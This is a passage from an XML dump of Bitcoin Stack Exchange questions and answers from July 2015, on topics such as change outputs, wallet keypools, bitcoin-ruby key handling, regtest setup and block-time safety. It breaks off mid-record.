  <row Id="38575" PostTypeId="2" ParentId="38571" CreationDate="2015-07-13T13:13:57.437" Score="1" Body="&lt;p&gt;When you create a transaction, all inputs are used up completely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then have to specify the destination addresses of the input money. Any amount without destination becomes available as transaction fee. Hence, you have to define the recipient, and &lt;strong&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/736/5406&quot;&gt;send back the change to yourself&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In other words, add one of your own addresses as a second destination and assign the remainder of your inputs there.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't been doing so, you should experiment with transaction creation on the &lt;strong&gt;testnet&lt;/strong&gt;. There you can learn without cost, because it behaves like Bitcoin, but its tokens are worthless.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-07-13T13:42:51.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38577" PostTypeId="1" AcceptedAnswerId="38578" CreationDate="2015-07-13T15:38:48.137" Score="0" ViewCount="360" Body="&lt;p&gt;I &lt;a href=&quot;https://blockchain.info/tx/e34097f257af3f91b7874f33ad0b4bb2f5980d35ba6f8e7ca38148c084d4656c&quot; rel=&quot;nofollow&quot;&gt;swept a paperwallet to blockchain.info&lt;/a&gt; and the transaction has been unconfirmed for several days...it looks like it was sent in multiple tiny transactions. Has anyone seen anything like this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/e34097f257af3f91b7874f33ad0b4bb2f5980d35ba6f8e7ca38148c084d4656c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/e34097f257af3f91b7874f33ad0b4bb2f5980d35ba6f8e7ca38148c084d4656c&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27395" LastActivityDate="2017-03-17T20:30:44.777" Title="Blockchain.info transaction unconfirmed for several days" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38578" PostTypeId="2" ParentId="38577" CreationDate="2015-07-13T16:04:24.113" Score="0" Body="&lt;p&gt;This is normal. Your paper wallet consisted of lots of small transactions inbound, and now you are sweeping them to a new address. A wallet is a collection of unspent outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction looks fine, and the txfee is standard. Given that the network is under a spam attack of sorts right now, its possible that the fee is simply not high enough to confirm. It may take a while under the current circumstances until it does.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2015-07-13T16:04:24.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38579" PostTypeId="2" ParentId="8923" CreationDate="2015-07-13T16:35:41.220" Score="0" Body="&lt;p&gt;The Bitcoin mainnet blockchain + block reverse data is currently roughly 50GB after sync, and the vast majority of that data is in the last 100,000 blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the 8 mb block limit going into effect, and increasing transaction volume I wouldn't be surprised to see this double in the next 18 months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is too much disk space for you to devote you can use an SPV client, or turn on block pruning in the latest official bitcoind release.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2015-07-13T16:35:41.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38580" PostTypeId="1" AcceptedAnswerId="38639" CreationDate="2015-07-13T17:37:14.567" Score="4" ViewCount="248" Body="&lt;p&gt;I was reading over the specification for the &lt;a href=&quot;https://github.com/OpenAssets/open-assets-protocol/blob/master/specification.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Open Assets&lt;/a&gt; (colored coins) protocol. It seems that keeping track of Asset ownership requires looking up the &lt;code&gt;scriptPubKey&lt;/code&gt; for each input in a transaction, and possibly even recursively looking up the prevouts for inputs, in order to verify the chain of ownership. Full nodes can do this, as they process all blockchain data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's possible to make a transaction that looks like a valid Open Assets transaction, but that breaks the link in ownership somewhere along the way. More confirmations won't help convince SPV nodes that the transaction is a valid OA transaction, as miners do not enforce that all transactions structured as OA transactions are actually valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can SPV nodes participate in the Open Asset protocol with any reasonable security?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-16T07:08:58.880" Title="How can SPV nodes trust received Open Assets?" Tags="|colored-coins|open-assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38581" PostTypeId="1" CreationDate="2015-07-13T18:12:30.093" Score="0" ViewCount="574" Body="&lt;p&gt;I have an old wallet.dat file (from a backup) and no client installed since a very long time. Recently some transactions have been made (BTC have been sent to my address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this old wallet.dat file allow me to be the owner of the new money? I’ve read that &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;100 private keys are generated in advance&lt;/a&gt; and are in stock of the file. Does that mean, that I can receive 100 transactions after taking my client (it was bitcoin-qt/bitcoin-core) offline? Or what are these 100 keys for?&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2015-07-13T23:39:15.750" LastActivityDate="2015-08-13T01:34:28.157" Title="Can old wallet.dat (offline long time) still receive money?" Tags="|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38582" PostTypeId="2" ParentId="38581" CreationDate="2015-07-13T18:16:08.283" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can old wallet.dat (offline long time) still receive money?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. If you have the addresses from that wallet, coins can be sent to those addresses.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think that I remember that 100 private keys are generated in advance and are in stock of the file. Does that mean, that I can receive 100 transactions after taking my client (it was bitcoin-qt/bitcoin-core) offline?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An address can receive coins more than once, although it's considered best practice to try to avoid that. But, in practice, you can receive many transaction that pay to any of those 100 addresses.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-13T18:16:08.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38583" PostTypeId="1" CreationDate="2015-07-13T18:57:06.757" Score="0" ViewCount="449" Body="&lt;p&gt;I am having trouble with the bitcoin-ruby gem. I get the following error when trying to send money to another address I have on the test network:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/var/lib/gems/2.2.0/gems/bitcoin-ruby-0.0.7/lib/bitcoin/protocol/txout.rb:76:in&#xA;  &lt;code&gt;pk_script=': undefined method&lt;/code&gt;bytesize' for nil:NilClass&#xA;  (NoMethodError)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am generating a private key with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def new_address&#xA; Bitcoin::generate_address&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And getting details for the private key with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def key_details(prikey, pubkey)&#xA;  #returns prikey, prikey_hash58, pubkey_hash58, pubkey_uncompressed, address as a hash&#xA;  my_key = Bitcoin::Key.new(prikey, pubkey)&#xA;  { prikey:prikey, &#xA;    prikey_base58:my_key.to_base58, &#xA;    pubkey_58:my_key.hash160, &#xA;    pubkey: my_key.pub_uncompressed, &#xA;    address:my_key.addr&#xA;  }&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I have to send money to myself is as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'bitcoin'&#xA;require_relative 'utilities.rb'&#xA;require 'open-uri'&#xA;&#xA;Bitcoin.network = :testnet3&#xA;&#xA;def build_transaction(prev_tx, prev_out_index, key, value, addr, message)&#xA;  include Bitcoin::Builder&#xA;&#xA;  new_tx = build_tx do |t|&#xA;    t.input do |i|&#xA;      i.prev_out prev_tx&#xA;      i.prev_out_index prev_out_index&#xA;      i.signature_key key&#xA;    end&#xA;    t.output do |o|&#xA;      o.value value &#xA;      o.script {|s| s.type :address; s.recipient addr }&#xA;    end&#xA;  end&#xA;end&#xA;&#xA;def prev_tx(prev_hash, network)&#xA;  if network == &quot;testnet3&quot;&#xA;    prev_tx = Bitcoin::P::Tx.from_json(open(&quot;http://test.webbtc.com/tx/#{prev_hash}.json&quot;))&#xA;  else&#xA;    prev_tx = Bitcoin::P::Tx.from_json(open(&quot;http://webbtc.com/tx/#{prev_hash}.json&quot;))&#xA;  end&#xA;end&#xA;&#xA;def key(publ_key, priv_key)&#xA;  key = Bitcoin::Key.new(priv_key, publ_key)&#xA;end&#xA;&#xA;def bin_to_hex(s)&#xA;  s.unpack('H*').first&#xA;end&#xA;&#xA;#transaction inputs&#xA;priv_key = &quot;private_key&quot;&#xA;publ_key = &quot;public_key_long_format&quot;&#xA;address = &quot;address&quot;&#xA;previous_tx = &quot;previous_tx_hash&quot;&#xA;&#xA;# generate tx info off inputs&#xA;key = Bitcoin::Key.new(priv_key, publ_key)&#xA;prev_tx = prev_tx(previous_tx, &quot;testnet3&quot;)&#xA;prev_out_index = 1&#xA;tx_value = prev_tx.outputs[prev_out_index].value&#xA;&#xA;# build new tx&#xA;tx = build_transaction(prev_tx, prev_out_index, key, tx_value, address, &quot;hello&quot;)&#xA;&#xA;#&#xA;# puts tx.to_json&#xA;puts bin_to_hex(tx.to_payload)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27399" LastEditorUserId="27399" LastEditDate="2015-07-13T22:57:28.800" LastActivityDate="2022-01-31T10:34:32.777" Title="Bitcoin Testnet Trouble with bitcoin-ruby" Tags="|private-key|signature|public-key|ruby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38585" PostTypeId="1" CreationDate="2015-07-13T19:49:37.683" Score="2" ViewCount="1210" Body="&lt;p&gt;It seems like depending on the method you get different public keys and addresses when using bitcoin-ruby with the same private key. I am probably doing something wrong, but I am not sure where it is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can generate a private key, public key, and address using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def generate_address&#xA;  private_key, public_key = Bitcoin::generate_key&#xA;  address = Bitcoin::pubkey_to_address(public_key)&#xA;  [private_key, public_key, address]&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, as an example, this could generate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;priv_key= &quot;9d524654045c891327a1dc0c329bcd42311b1767b81d7e997486e841ca5a2a87&quot;&#xA;publ_key = &quot;04353457464a32ede1b80fd7299f616320b52cc22796cd27d5b41594f418c2ea26dfeec97273f89b2d908a44fce981ff19f2e2de1408538bb0c0528992ce47f3be&quot;&#xA;address = &quot;n1693JDDu5ukbtNh2sHXdZSobKnVEpdtjL&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I then put the private key into another function which generates the key details in a different way, I get a different address! Why is this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def key_details(prikey)&#xA;  #returns prikey, prikey_hash58, pubkey_hash58, pubkey_uncompressed, address as a hash&#xA;  my_key = Bitcoin::Key.new(prikey)&#xA;  # binding.pry&#xA;  { prikey:prikey, &#xA;    prikey_base58:my_key.to_base58, &#xA;    pubkey_58:my_key.pub, &#xA;    pubkey: my_key.pub_uncompressed, &#xA;    address:my_key.addr&#xA;  }&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27399" LastActivityDate="2015-07-13T22:39:06.093" Title="Does a private key always generate the same public key and address?" Tags="|private-key|public-key|ruby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38586" PostTypeId="1" AcceptedAnswerId="38615" CreationDate="2015-07-13T19:59:34.363" Score="3" ViewCount="202" Body="&lt;p&gt;So there is a fixed 1% annual rate of new stellar creation. These new stellars will be generated on a weekly basis and distributed via a direct voting method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there's a distinction between what the direct vote agrees on and what the SCP nodes agree on. What happens if some nodes running the stellar-core protocol don't agree with the distribution? They can choose not to vote the validations of transactions related to this newly created stellars, impeding a quorum to form in the SCP, rendering the newly created stellars obsolete.&lt;/p&gt;&#xA;" OwnerUserId="27394" LastActivityDate="2015-10-20T21:53:50.023" Title="Direct vote and SCP quorum" Tags="|stellar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38587" PostTypeId="1" AcceptedAnswerId="38588" CreationDate="2015-07-13T20:56:50.220" Score="5" ViewCount="548" Body="&lt;p&gt;I've heard a couple of times &quot;a shorter blocktime is unsafe,&quot; (first about Litecoin and now Ethereum) but never understood why. Is it the higher probability of a fork? Why do some people consider a shorter blocktime less safe?&lt;/p&gt;&#xA;" OwnerUserId="18506" LastEditorUserId="5406" LastEditDate="2015-07-15T08:38:02.410" LastActivityDate="2022-08-19T14:55:26.123" Title="Why is a short blocktime considered to be unsafe?" Tags="|litecoin|alternatives|altcoin|ethereum|block-interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38588" PostTypeId="2" ParentId="38587" CreationDate="2015-07-13T21:19:33.430" Score="6" Body="&lt;p&gt;The shorter the blocktime the more time is lost by the relaying of blocks in relation to the average blocktime. A very short block interval therefore makes SPV mining (i.e. mining empty blocks without transactions) more attractive, and increases the advantage of large pools, because they can start mining on top of their own block the quickest.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, it increases the number of headers that need to be verified and stored by any client, even smartphone wallets.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sub&gt;Also see &lt;a href=&quot;https://bitcoin.stackexchange.com/q/113505/5406&quot;&gt;How would faster blocks cause mining centralization?&lt;/a&gt;&#xA;for a more comprehensive explanation how the block interval influences mining incentives.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-08-19T14:55:26.123" LastActivityDate="2022-08-19T14:55:26.123" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="38589" PostTypeId="2" ParentId="38585" CreationDate="2015-07-13T22:39:06.093" Score="3" Body="&lt;p&gt;The difference is that the first function uses uncompressed public keys , and the second function uses compressed public keys. Uncompressed public keys are 65 bytes , and compressed ones are 33 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on compressed public keys see: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3059/what-is-a-compressed-bitcoin-key&quot;&gt;What is a compressed Bitcoin key?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-07-13T22:39:06.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38590" PostTypeId="1" CreationDate="2015-07-14T00:15:59.250" Score="4" ViewCount="3279" Body="&lt;p&gt;There is this &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet&lt;/a&gt; simple explanation of the contents of a wallet.dat file from bitcoin-core/bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some questions about this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the &lt;strong&gt;default key&lt;/strong&gt;? Does this refer to the address is use by default for spending bitcoins? So, does it refer to the private key?&lt;/li&gt;&#xA;&lt;li&gt;What are &lt;strong&gt;reserve keys&lt;/strong&gt;? Are these the public/privte keypairs representing my addresses? But why &lt;em&gt;reserve?&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;What is the &lt;strong&gt;Key pool&lt;/strong&gt;? Is it a collection of addresses (i.e. private/public keypairs), and if so, why are they pregenerated, if I can generate a new address at any time with no cost?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, if I have two addresses in use in my bitcoin-core client, does that mean, that I am using 2 keypairs from the keypool? And the others are just not showing yet in the user interface, but are already created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the following sentence mean (it is refering to the key pool): &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;This pooling feature was added so backups of the wallet would have a certain number of keys that would be used in the future.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2015-07-17T22:29:28.750" Title="What are the contents of the wallet.dat file? What is Key pool, default key and reserve keys?" Tags="|wallet.dat|keypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38591" PostTypeId="1" CreationDate="2015-07-14T01:10:03.510" Score="4" ViewCount="240" Body="&lt;p&gt;I heard bitcoin-core 0.11 allows 80 byte OP_Returns, but I know miners operate different implementations and was wondering when it would be likely that 80 byte OP_Returns will be swiftly included in blocks.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-07-16T10:48:07.993" Title="When can I send 80 byte OP_Returns?" Tags="|script|op-return|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38592" PostTypeId="1" CreationDate="2015-07-14T01:20:13.673" Score="1" ViewCount="116" Body="&lt;p&gt;Spending bitcoins &lt;em&gt;costs&lt;/em&gt; me to sacrifice (i.e. can only be used once) a private/public keypair, am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Receiving does not use up a private/public keypair, am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a new address also uses up a private/public keypair, right?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When I spend bitcoins, how is this connected to my address, if it uses a new private/public keypair everytime, that has nothing to do with the &lt;em&gt;original&lt;/em&gt; keypair of my address?&lt;/p&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2015-07-14T07:40:01.157" Title="how is the private/public keypair for spent bitcoins connected to the private/public keypair which corresponds to my address?" Tags="|address|private-key|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38593" PostTypeId="2" ParentId="38591" CreationDate="2015-07-14T02:31:09.453" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMsgN.png&quot; alt=&quot;Satoshi Distribution as of 7/14, 11:00&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, only 10.8% of nodes have upgraded to 0.11 and 29.3% of nodes use a pre-0.10 distribution. (Source: &lt;a href=&quot;https://getaddr.bitnodes.io/dashboard/#user-agents&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://getaddr.bitnodes.io/dashboard/#user-agents&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that we don't know the hashing power of these nodes and don't know your definition of &quot;swiftly included&quot;, there's no way to exactly answer your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you assume hashing power to be equally distributed between nodes, There's about a 10% chance that any give block will be mined by someone running 0.11, so about a 47% chance that a 0.11 block will be mined at least once an hour.&lt;/p&gt;&#xA;" OwnerUserId="27141" LastActivityDate="2015-07-14T02:31:09.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38594" PostTypeId="2" ParentId="38592" CreationDate="2015-07-14T07:40:01.157" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Spending bitcoins costs me to sacrifice (i.e. can only be used once) a private/public keypair, am I right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No that's not correct. Key pairs can be reused but it is not recommended for privacy reasons. All transactions are public and reusing the same address over and over again make it easy for people to build a profile about you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Receiving does not use up a private/public keypair, am I right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need an address to receive bitcoins and behind that address is a key pair. But you can reuse it like I said above.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Creating a new address also uses up a private/public keypair, right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See above.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I spend bitcoins, how is this connected to my address, if it uses a new private/public keypair everytime, that has nothing to do with the original keypair of my address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't use a new key pair everytime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to read up on &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;asymmetric cryptography&lt;/a&gt;. The gist of it is that the private key and public key are mathematically related. Bitcoin spend transactions are signed by your wallet using the private key and that signature can be verified by everyone using your public key. Private key does not have to be exposed in order to spend or receive bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin address is a hash of your public key and that hash operation is also repeated by nodes to verify that you indeed own the bitcoins and have the right to spend them. &lt;/p&gt;&#xA;" OwnerUserId="27408" LastActivityDate="2015-07-14T07:40:01.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38595" PostTypeId="2" ParentId="38590" CreationDate="2015-07-14T08:50:45.270" Score="2" Body="&lt;p&gt;The page you are referring to on the Bitcoin wiki is pretty dated and doesn't really relate to current behavior in Bitcoin Core. Be aware that a lot of the wiki is like this. &quot;Default key&quot; isn't a phrase in common use, I can't fathom what that page could have been talking about in the context of Bitcoin Core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reserve keys and the keypool are essentially one and the same. The concept is born out of the problem that people would make a wallet backup, create a few new addresses and receive coins there, restore from a day old backup and find that all their money had disappeared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic solution is to pre-generate a number of addresses and store them in the wallet file, when the client needs a new address it uses the oldest fresh key it has available. The resulting wallet file backup can be safe for as many future transactions as there are keys in the keypool (100 has been the default for a long time), after which point the backup will again become stale and money lost if the user has to recover from it. It's important to keep in mind that making outgoing transactions also consumes a reserved key as one needs to be used for a change address as well, this property makes it difficult for users to know when they need to make a new backup.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keypool design prevents some very simple mistakes, but it's still easy to lose money to poor backup practices. Hierarchical Deterministic (BIP32) wallets are significantly safer as the backups never become stake, and this is instead used in more modern wallets. The Bitcoin Core wallet tends to be the most conservative and so is slow to move away from the keypool, but it will eventually happen. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-17T22:29:28.750" LastActivityDate="2015-07-17T22:29:28.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38596" PostTypeId="1" CreationDate="2015-07-14T09:39:12.147" Score="2" ViewCount="1204" Body="&lt;p&gt;Anyone knows how to connect to (or even possible) a remote &quot;-regtest&quot; server?&#xA;I have managed to setup the -regtest daemon, but still trying to figure out how to connect to it using BitCoinJ client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===== Update ======&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in-case someone here has the same query, I've managed to connect to the remote -regtest, I can now download the blockchain and perform RPC using BitCoinJ&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Just follow the bitcoin example to setup the bitcoind. (I ran using bitcoind -regtest -daemon)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the BitcoinJ code, use the REG_TEST_NET, and add your remote -regtest server's IP to BitCoinJ's PeerGroup object using&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;peerGroup.addAddress(InetAddress.getByName(your-remote-ip));&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;in the bitcoin.conf, I set the additional following attributes&#xA;server=1&#xA;rpcport=18444&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27410" LastEditorUserId="38294" LastEditDate="2017-01-03T19:04:12.017" LastActivityDate="2017-07-02T22:54:58.003" Title="Connecting to a bitcoind in &quot;-regtest daemon&quot; mode remotely from another node (e.g. BitCoinJ)" Tags="|bitcoind|bitcoinj|regtest|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38597" PostTypeId="1" CreationDate="2015-07-14T09:44:43.730" Score="0" ViewCount="379" Body="&lt;p&gt;I have a wallet on Bitcoin Core with addresses that are receiving and will receive payments in the future (which I can't change); for this reason I cannot send my bitcoins to a new wallet; that said, how can I export my wallet from Bitcoin Core to another client (SPV: I'm unable to download 30GB and more)? Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="27412" LastActivityDate="2015-08-13T11:41:10.820" Title="from Bitcoin Core to SPV client" Tags="|bitcoin-core|spv|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38598" PostTypeId="2" ParentId="38597" CreationDate="2015-07-14T10:52:13.390" Score="1" Body="&lt;p&gt;It's advisable to send bitcoins from one wallet to another. Messing with private keys always increases the risk of theft or user error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;If the reason that you want to change to an SPV wallet is that your harddisk is getting full, then update to the latest Bitcoin Core version (0.11) and have a look at the prune option.&lt;/strike&gt; Sorry, the prune option actually disables the wallet, so that's not useful in your situation. Hopefully that will be fixed in the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that an SPV wallet requires significantly more trust (in other people not lying to you) than Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a more direct answer, you can export private keys from Bitcoin Core and load them into most(?) SPV wallets. I believe this should give you the details: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7536/how-do-i-export-my-private-keys-from-my-bitcoin-qt-client&quot;&gt;How do I export my private keys from my Bitcoin-Qt client?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-07-14T11:14:14.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38601" PostTypeId="1" CreationDate="2015-07-14T17:49:52.407" Score="2" ViewCount="300" Body="&lt;p&gt;I'd like to know what's the probability of a sybil attack and if there are mechanisms built in to prevent this kind of attack?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="47827" LastEditDate="2022-07-16T18:50:46.880" LastActivityDate="2022-12-13T20:00:40.100" Title="How probable is a sybil attack?" Tags="|p2p|sybil-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38602" PostTypeId="2" ParentId="38601" CreationDate="2015-07-14T18:06:03.800" Score="-2" Body="&lt;p&gt;One cool thing about Bitcoin is that coins are inherently scarse and this is by itself a huge protection from sybil attacks. In other P2P systems, sybil attacks are much harder to prevent because there's no such concept of scarcity. In Bitcoin, a sybil attack would be achieved if one has lot of coins, by sending tons of transactions, and therefore spending such coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other types of sybil attacks such as overloading nodes connections, and the recent one of filling up the memory pool of specific nodes with really tiny transactions. A way to prevent these would be for example to increase the fees.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-07-14T18:06:03.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38603" PostTypeId="2" ParentId="38318" CreationDate="2015-07-14T18:30:17.357" Score="-1" Body="&lt;p&gt;&lt;code&gt;% bx fetch-header -t 365307 -c bx-mainnet.cfg&lt;/code&gt;&lt;br&gt;&#xA;header&#xA;{&#xA;    bits 404063944&lt;br&gt;&#xA;    hash 00000000000000000eecb8c5dabfede194627d53fddfdb685103e5317a7e175e&#xA;    merkle_tree_hash 8b787ac50ec4e7d3890a917ff196938972f940304badd4f3ebb3c1a480d6eeeb&#xA;    nonce 3395429232&lt;br&gt;&#xA;    previous_block_hash 00000000000000000641fa532675b3e4fcf879cb5e4358895fa7b87e883b13d9&lt;br&gt;&#xA;    time_stamp 1436897984&lt;br&gt;&#xA;    &lt;strong&gt;version 3&lt;/strong&gt;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% bx fetch-header -t 503223 -c bx-testnet.cfg&lt;/code&gt;&lt;br&gt;&#xA;header&#xA;{&#xA;    bits 486604799&lt;br&gt;&#xA;    hash 0000000001eee9c08d12c48f11414c45379e2e7b1b5b5318b012ba0e677609f1&#xA;    merkle_tree_hash bb6dc83519a3246adca03a4eeb4d2a7c326693f8c1ed28b6e13824e90ecbde8a&#xA;    nonce 561008572&lt;br&gt;&#xA;    previous_block_hash 00000000000266ea01bc19141dffa2230e9897259d9ddc058cf41d97328477cb&#xA;    time_stamp 